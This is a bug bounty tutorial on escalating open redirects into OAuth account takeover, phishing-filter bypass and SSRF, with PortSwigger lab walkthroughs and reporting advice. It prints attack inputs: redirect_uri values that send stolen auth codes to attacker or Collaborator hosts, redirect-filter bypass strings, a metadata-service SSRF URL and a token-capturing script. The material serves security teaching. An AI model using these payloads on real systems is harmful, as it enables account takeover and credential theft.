This article teaches security researchers how to escalate open redirect vulnerabilities into critical account takeover exploits by chaining them with OAuth flows, phishing filter bypasses, and server-side request forgery (SSRF). The article demonstrates that most bug hunters stop at confirming a standalone open redirect as Low severity, missing 100x higher payouts by spending twenty additional minutes testing whether the redirect chains into OAuth token theft or other high-impact vulnerabilities. Understanding these chains is essential because they represent some of the most consistent severity escalation paths in web application security that remain under-hunted.
- OAuth Token Theft via Redirect URI ManipulationWhen an OAuth server validates that redirect_uri starts with the target domain (e.g., target.com) but an open redirect exists on that domain, an attacker can craft a redirect_uri like https://target.com/redirect?url=https://attacker.com. The OAuth server's domain check passes, but the victim's authorization code and access token are forwarded to the attacker's server via the open redirect. The attacker then exchanges the captured authorization code for a full access token and gains complete authenticated API access as the victim.
- Discovery and Bypass Techniques for Open RedirectsCommon vulnerable parameters include url=, redirect=, return=, next=, continue=, goto=, and destination=, typically found in post-login redirects, logout flows, OAuth redirect_uri parameters, and email tracking links. When basic testing fails, the article documents six bypass techniques: protocol-relative URLs (//attacker.com), URL encoding (%2F%2Fattacker.com), subdomain tricks (target.com.attacker.com), URL fragments (target.com#attacker.com), double URL encoding (%252F), and Unicode homograph attacks using Cyrillic characters that visually match Latin letters.
- Phishing Filter Bypass via On-Domain RedirectsEmail security filters check link domains against reputation lists and pass links to trusted domains like target.com while blocking links to attacker.com. An open redirect on target.com allows attackers to craft phishing emails with links pointing to target.com/redirect?url=attacker.com/clone. The email passes technical filters and users see a trusted domain in hover previews, but the browser follows the redirect to the attacker's credential harvesting page. This amplifies phishing campaign effectiveness without requiring domain spoofing.
- SSRF Escalation via Server-Side Redirect FollowingWhen a target application makes server-side HTTP requests that follow redirects, an open redirect can chain into SSRF against internal services. If direct requests to internal IPs are blocked by allowlist validation but requests to target.com are allowed, an attacker can use https://target.com/fetch?url=https://target.com/redirect?url=http://169.254.169.254/latest/meta-data/. The server fetches target.com (allowed), follows the 302 redirect to the metadata service (internal), and exposes cloud provider credentials—escalating from Low open redirect to Critical through IAM credential theft.
- OAuth Implicit Flow Fragment Token CaptureOAuth implicit flow tokens arrive as URL fragments (#access_token=...) which browsers do not send to servers in HTTP requests. The article explains that the non-obvious exploitation detail is using JavaScript (window.location = '/?'+document.location.hash.substr(1)) to convert the fragment into a query string, allowing an attacker's server to log the captured access token. Without this technique, the token remains in the fragment and never reaches the attacker's server logs.
- CVSS Scoring and Severity Escalation StrategyA standalone open redirect scores CVSS 3.0-5.0 (Low-Medium) and typically pays $150 in bug bounties as a phishing aid only. The same vulnerability chained into OAuth account takeover scores CVSS 8.0 (High) with potential Critical modifiers, paying $15,000 or more. For SSRF chains to cloud metadata, scores reach 9.8 depending on IAM role permissions. The article emphasizes that the redirect is the entry point; the chain determines actual impact and payout tier.
- Evidence Package for Critical ReportsThe article specifies that a Critical account takeover report requires five screenshots: the original OAuth request with redirect_uri, the modified redirect_uri accepted by the server, Burp Collaborator showing the captured auth code with timestamp, the token exchange request and response, and an authenticated API call proving account access. The Collaborator callback is non-repudiable proof—a timestamped, out-of-band HTTP request from the target's OAuth server containing the auth code in the URL, making triage disputes impossible.
- Common Redirect Parameters and Testing WorkflowThe discovery workflow involves logging in, checking post-login URLs for redirect parameters, testing logout flows, and searching Burp proxy history using regex patterns like (url|redirect|next|return|goto)=https?://. For each confirmed redirect, hunters should identify whether it is client-side or server-side, note the HTTP status code (301, 302, 307, meta refresh, or JavaScript), check if sensitive data (tokens, session IDs, email) is passed through the URL, and enumerate what OAuth or SSO flows exist on the same domain to chain into.
Bottom line: Open redirect findings that appear Low severity on initial testing frequently chain into Critical account takeover vulnerabilities when tested against OAuth flows, phishing filters, or SSRF endpoints—the difference between a $150 and a $15,000 bounty is methodical twenty-minute chaining before filing. Most hunters stop at confirming the redirect itself; the hunters who spend time testing chain potential and capturing non-repudiable Burp Collaborator evidence consistently exploit the highest-impa
The open redirect to account takeover chain is one of the most consistent severity-escalation paths in web application security. It is under-hunted because most hunters stop at the redirect confirmation. I cover the full chain here: OAuth token theft via redirect_uri manipulation, phishing bypass using on-domain redirects, and SSRF escalation via server-side redirect following. The difference between a Low finding and a Critical one is twenty minutes of methodical chaining.
🎯 What You’ll Master
⏱️ 60 min · 3 exercises · Browser + PortSwigger + Burp Suite
✅ Prerequisites
- Day 11 — Open Redirect Bug Bounty
— the baseline open redirect detection methodology this article escalates
- Day 18 — OAuth Bug Bounty
— OAuth flow fundamentals; understanding authorisation codes, implicit flow, and redirect_uri validation is required for the chain
- Burp Suite installed — active proxy and Collaborator used in Exercises 2 and 3
📋 Open Redirect to Account Takeover — Contents
- Finding Open Redirects — Parameters, Patterns & Bypass Techniques
- The OAuth Token Theft Chain — redirect_uri Manipulation
- Phishing Bypass — Using On-Domain Redirects to Beat Filters
- SSRF Chain — When the Server Follows Your Redirect
- Building the Account Takeover PoC
- Reporting — Severity Calculation and Evidence Package
The open redirect fundamentals from Day 11 cover detection and basic confirmation. That foundation ends with a confirmed redirect — today extends it into the question of whether the redirect chains into something that pays at a different tier. The OAuth knowledge from Day 18 is the direct prerequisite for Section 2. Read both before working through the exercises if you have not already.
Finding Open Redirects — Parameters, Patterns & Bypass Techniques
Open redirects hide in predictable places. The post-login redirect parameter is the most common — after authentication, the application forwards the user to wherever they were trying to go, stored in a parameter. Logout flows redirect to a homepage or SSO portal. Email link tracking systems redirect from a tracking domain to the destination. OAuth redirect_uri parameters accept redirect destinations as part of the protocol. Every one of these is a candidate for testing.
⏱️ 15 minutes · Browser only · Authorised scope required
Before any chaining attempt, you need a confirmed open redirect. This exercise runs the discovery and confirmation workflow — the same sequence I run at the start of every redirect chaining assessment. Use an authorised bug bounty target or the PortSwigger open redirect labs.
After login, observe the URL. Does it contain a redirect parameter?
Common pattern: https://target.com/login?next=/dashboard
Test: change ?next=/dashboard to ?next=https://example.com
Does the browser navigate to example.com after login? → confirmed.
Step 2: Check the logout flow.
Click logout. Does the post-logout URL contain a redirect parameter?
Test: intercept the logout request in Burp and modify the redirect value.
Step 3: Browse the application with Burp capturing all requests.
Proxy → HTTP history → search for parameters containing http in their value.
List every redirect parameter you find.
Step 4: Test each with Burp Collaborator as the destination.
Replace the redirect value with your Collaborator URL.
Check Collaborator for incoming HTTP/DNS requests.
A Collaborator callback confirms the server-side or client-side redirect.
Step 5: For each confirmed redirect, note:
— Is it client-side (browser follows) or server-side (server fetches)?
— What HTTP status code triggers it? (301, 302, 307, meta refresh, JS)
— Does the application pass any sensitive data in the redirect URL?
(tokens, session IDs, email addresses in parameters?)
— What OAuth or SSO flows exist on the same domain?
📸 Screenshot your Burp Collaborator showing the redirect callback and share in #bug-bounty-course on Discord.
The OAuth Token Theft Chain — redirect_uri Manipulation
The OAuth account takeover chain is the highest-impact path an open redirect can take. The attack exploits the gap between how OAuth servers validate redirect URIs and how open redirects work. Most OAuth servers validate that the redirect_uri starts with or matches the registered domain — target.com. They do not validate every redirect that happens after that domain receives the request. If target.com has an open redirect, the OAuth server’s domain check is satisfied while the actual token delivery ends up on attacker.com.
Phishing Bypass — Using On-Domain Redirects to Beat Filters
Even without OAuth, an open redirect on a trusted domain is a powerful phishing tool — specifically for bypassing email security filters and user suspicion. Phishing filters check link domains against reputation lists. A link to target.com passes. A link to attacker.com fails. An open redirect on target.com forwards to attacker.com while the link itself is target.com. The filter passes it. The user sees a trusted domain in the email. The browser follows the redirect.
On a red team engagement, this is how I use the social engineering toolkit in combination with an open redirect. I send the phishing email from the spoofed internal IT address with a link to target.com/redirect pointing to my credential harvesting page. The email passes every technical filter because the link domain is the target’s own. The user sees their own company’s domain in the hover preview and clicks. That chain is what makes open redirect worth including in a social engineering phishing campaign — it is the link that gets past both the filter and the hovering mouse.
⏱️ 20 minutes · Free PortSwigger account
PortSwigger’s OAuth labs include a scenario where an open redirect on the target site can be chained into stealing OAuth access tokens. This is the exact chain covered in Section 2 — work through the PortSwigger version to build the muscle memory before applying it to real targets.
Find the lab: “Stealing OAuth access tokens via an open redirect”
Access the lab and read the description.
Step 2: Browse the application with Burp proxying all traffic.
Log in with social login and observe the OAuth flow in Burp history.
Find the GET /auth request — copy the full URL with all parameters.
Step 3: Map the redirect_uri parameter in the OAuth request.
What domain does it point to? What path?
Step 4: Browse the rest of the application looking for a redirect parameter.
Hint: check the blog post next/previous navigation links.
Confirm the open redirect: does it forward to an arbitrary URL?
Step 5: Build the exploit — replace redirect_uri with the open redirect:
Original redirect_uri: https://TARGET/callback
Exploit redirect_uri: https://TARGET/post/next?path=https://EXPLOIT-SERVER
Encode the fragment properly to capture the token:
The access token arrives as a URL fragment (#access_token=…)
Use JavaScript on your exploit server to read window.location.hash
Step 6: Craft the exploit server payload:
<script>
window.location = ‘/?’+document.location.hash.substr(1)
</script>
This captures the fragment and sends it to your server as a query string.
Step 7: Deliver the exploit link to the victim (lab’s victim button).
Check your exploit server logs for the captured access token.
Use the token: GET /me with Authorization: Bearer TOKEN
Read the victim’s API key from the response — that solves the lab.
📸 Screenshot the lab solved notification and your captured access token. Share in #bug-bounty-course on Discord.
SSRF Chain — When the Server Follows Your Redirect
Open redirects and SSRF combine when the target application makes a server-side HTTP request that follows redirects. If the application fetches a URL you control (an SSRF candidate) and follows 301/302 redirects, you can use an open redirect on the target’s own domain to chain the SSRF to internal services. The server follows the redirect from the target domain to an internal URL that it otherwise would not fetch from external input.
⏱️ 20 minutes · Burp Suite · PortSwigger Academy or authorised target
This exercise runs the full open redirect chain workflow in Burp Repeater — finding the redirect, testing bypass techniques, building the OAuth chain URL, and capturing the token via Burp Collaborator. The Collaborator step is what makes the PoC undeniable in a report.
In Proxy → HTTP history, find the OAuth authorisation request.
Right-click → Send to Repeater.
Step 2: In Repeater, modify the redirect_uri parameter.
Change it to your Burp Collaborator URL:
redirect_uri=https://YOUR-COLLABORATOR.oastify.com
Send the request. Does the OAuth server reject it or accept it?
If rejected: the OAuth server validates exact URI — note the error message.
If accepted (returns 302 to Collaborator): redirect_uri validation is weak.
Step 3: Now find the open redirect on the target domain.
Test: https://target.com/REDIRECT_PATH?url=https://YOUR-COLLABORATOR.oastify.com
Confirm: does Burp Collaborator receive an HTTP request?
Step 4: Build the chained redirect_uri:
redirect_uri=https://target.com/REDIRECT_PATH?url=https://YOUR-COLLABORATOR.oastify.com
In Repeater, replace the redirect_uri with this chained value.
Does the OAuth server accept it now? (Domain matches target.com)
Step 5: If accepted — craft the full victim exploit URL.
Replace the original redirect_uri in the OAuth authorisation URL.
Send it to Burp Collaborator via the “Send exploit to victim” pattern.
Check Collaborator — does the auth code arrive?
Step 6: Document the full chain for your report:
Screenshot 1: Original OAuth request with redirect_uri
Screenshot 2: Modified redirect_uri accepted by server
Screenshot 3: Collaborator showing auth code captured
Screenshot 4: Token exchange request and response
Screenshot 5: Authenticated API call proving account access
📸 Screenshot your Burp Collaborator showing the captured auth code. Share in #bug-bounty-course on Discord. Tag #account-takeover-chain
Reporting — Severity Calculation and Evidence Package
How you frame the severity determines the payout. A standalone open redirect is Low — “an attacker can redirect users to an arbitrary URL, facilitating phishing.” The chain report reads differently: “An open redirect on target.com/redirect can be combined with the application’s OAuth implicit flow to steal victim access tokens, resulting in complete account takeover with a single victim click.” Same underlying redirect. Different report. Different payout tier.
For CVSS scoring the chained account takeover: Attack Vector Network, Attack Complexity Low, Privileges Required None, User Interaction Required, Scope Changed, Confidentiality High, Integrity High, Availability None. That scores 8.0 — High, often bumped to Critical by programme-specific impact modifiers for account takeover with PII exposure. For SSRF to cloud metadata: potentially 9.8 depending on the IAM role permissions exposed.
📋 Open Redirect to ATO — Reference Card
✅ Complete — Open Redirect to Account Takeover Chain
Open redirect discovery, bypass techniques, OAuth token theft via redirect_uri manipulation, phishing filter bypass using on-domain redirects, SSRF escalation via server-side redirect following, and the complete Burp evidence package for a Critical severity report. The redirect is just the first link — the chain is where the value lives.
🧠 Quick Check — Open Redirect Chains
❓ Open Redirect to ATO FAQ
What is an open redirect vulnerability?
How does open redirect lead to account takeover?
What severity should open redirect be rated in bug bounty?
What parameters indicate a potential open redirect?
How do you bypass open redirect protections?
What is the difference between open redirect and SSRF?
Day 11 — Open Redirect Bug Bounty
OAuth Vulnerabilities Bug Bounty 2026
📚 Further Reading
- Day 11 — Open Redirect Bug Bounty — The detection and confirmation methodology for open redirects — the foundation this chaining article builds on.
- Day 18 — OAuth Bug Bounty — Complete OAuth security testing guide covering redirect_uri validation, state parameter bypass, and implicit vs authorisation code flow vulnerabilities.
- Day 22 — GraphQL Bug Bounty — Another non-standard attack surface where chaining produces disproportionate impact — the same “confirm then escalate” methodology applies.
- PortSwigger — OAuth Vulnerabilities — The definitive hands-on reference with six progressive labs covering every OAuth attack including the open redirect token theft chain.
- PortSwigger — SSRF — Server-side request forgery reference covering the redirect-based bypass technique that chains open redirects into SSRF against internal services.

